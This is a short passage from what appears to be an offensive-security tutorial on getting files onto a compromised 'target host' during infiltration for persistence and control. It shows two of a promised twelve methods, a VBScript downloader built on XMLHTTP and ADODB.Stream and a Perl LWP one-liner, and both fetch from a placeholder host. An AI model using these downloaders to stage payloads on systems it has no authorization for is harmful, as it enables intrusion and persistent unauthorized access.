In our infiltration process, we usually need to send some files to the target host, to achieve the right to maintain, control and other purposes. This article will introduce 12 ways to download files.
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
C:>cscript test.vbs
Perl
#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");